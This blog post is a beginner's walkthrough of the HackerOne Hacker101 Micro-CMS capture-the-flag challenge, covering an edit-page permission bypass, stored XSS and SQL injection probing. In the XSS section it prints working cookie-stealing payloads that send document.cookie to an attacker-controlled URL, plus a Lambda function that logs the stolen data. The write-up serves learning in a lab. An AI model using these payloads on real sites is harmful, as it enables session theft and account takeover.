HackerOne CTF Micro CMS (Spoilers)
Learning by Doing
After studying articles on common vulnerabilities from outfits like HackerOne, Port Swigger, and Snyk, I realized reading about vulnerabilities without actively exploiting them out was not going to be an effective learning strategy. Hands on experience is way more important to me than theorizing and dreaming of these hacks. I'm still a complete novice, so the natural and safe space to practice these things is a CTF challenge. I'm currently dedicating my efforts to the HackerOne Hacker 101 CTF.
Micro-CMS
Permission Bypass
The first steps in this new CMS tool is to just play around and see how it it works. Eventually I created a new page, and noticed something interesting. The page has an integer id of 8, where the two existing pages are 1 and 2. The first thing to check is what happens when I navigate directly to /page/# for each of the numbers between 3 and 7. When I get to 6 I see the following error:
Forbidden
You don't have the permission to access the requested resource. It is either read-protected or not readable by the server.
Seeing this, I immediately think that there's a path traversal bug through the markdown engine the CMS provides. Often times markdown renderers that target a static site like this CMS will let you use relative paths to files which it will ultimately copy into a static assets folder for the resulting HTML <img>
tag to reference. I spent entirely too much time trying to chase this trick down in my newly created page 8. Eventually, by fluke, I meant to go back to /page/6
but I was in the edit view of the current page /page/edit/8
. I navigated to /page/edit/6
and found the flag:
Haha, go figure. I was trying to be clever, but the bypass was ultimately a lot simpler than I expected. The editor tool at /page/edit
is accessible to us, and it has access to the content of each page. Evidently it doesn't perform any permission checks before it loads a page either.
XSS
The moment I saw that script tags were not allowed, I knew I was looking for an XSS. Initially I focused all my time on the existing button tag, using the onclick event handler. It's easy enough to add the onclick="alert('test');"
event attribute to this element, and clicking it successfully triggers the alert. There's no FLAG yet, but this is a good start. It confirms the XXS is there. Exploiting an XSS to trigger an alert dialog is worse than worthless, because it only raises the alarm to any savvy user that something weird is happening and exposes the attack. I'd much rather the browser run our XSS logic silently and send some critical piece of information onward without the victim ever realizing it. Typically an XSS attack is leveraged to steal some cookie data, usually a session token or nonce that can be used for authentication. This is surely the next step, right? I need a URL that will log the request and any info sent along. So I built one in AWS using Node and a Lambda Function with a Function URL:
export const handler = async (event, context) => {
console.info("EVENT\n" + JSON.stringify(event, null, 2))
console.info("CONTEXT\n" + JSON.stringify(context, null, 2))
const response = {
status: '200',
statusDescription: 'OK',
headers: {
"content-type": "application/json"
},
body: 'Success!',
};
return response;
};
Now we can embed this into the onclick event attribute, using JavaScript to trigger the request to our target URL. It will log the request and header information for me to view in AWS CloudWatch. I modify the XSS to send that flag to my URL in the form of a request path and hit save:
<button onclick="new Image().src='http://<my url>/' + document.cookie;">
I check the logs. Nothing. This onclick event isn't ideal because it requires action from the user. That failing image to the static1.squarespace asset is a hint though. Image tags have an onerror event attribute which will automatically trigger any time an image fails to load. With this in mind, I move my XSS to an <img>
tag pointing to the same url.
<img src="https://static1.squarespace.com/static/54e8ba93e4b07c3f655b452e/t/56c2a04520c64707756f4267/1493764650017/" onerror="new Image().src='http://<my url>/' + document.cookie;">
I hit save and wait for that log statement with my flag. Still nothing. Frustrated, I open up the source view to start hunting for my next idea and there's the flag:
It's been waiting there in the HTML all along. I wasted a ton of time trying to execute the realistic hack when I should have just checked the source after every change.
XSS 2
With that XSS under my belt, I started to think about other places this might exist. Are scripts blocked in the post title? Let's see:
Ok, the page looks fine, the script is being escaped. I navigate back to the home page, and there's the flag! The CTF has embedded the flag into an alert in the page link:
SQL Injection
This one took a while to find. I spent a decent amount of time poking around for another XSS, and eventually decided to circle back to my first flag with the permission bypass. There were two XSS flags, maybe there's another bug like this one? I consult the resources I was reading before and stumble back on the SQL Injection class of vulnerabilities. PortSwigger suggests a few ways to probe for the potential of a SQL injection. The first suggestion is to add a single quote '
to any uer input that looks like it might be used in a query. Our page ids definitely look like autogenerated integer ids from a database, so that's a good place to start looking. The first thing I try is adding the single quote to the end of a page URL but nothing happens. Next I try /page/edit/1'
. There's the fourth and final flag!
Lessons
I shouldn't try to be too clever when it comes to these simple CTF challenges. This challenge is marked as "Easy" by HackerOne, and that should have been a clue that I was missing something far more obvious. A CTF challenge is a bit of a sham, and I shouldn't be so worried about executing a realistic attack. Not yet at least.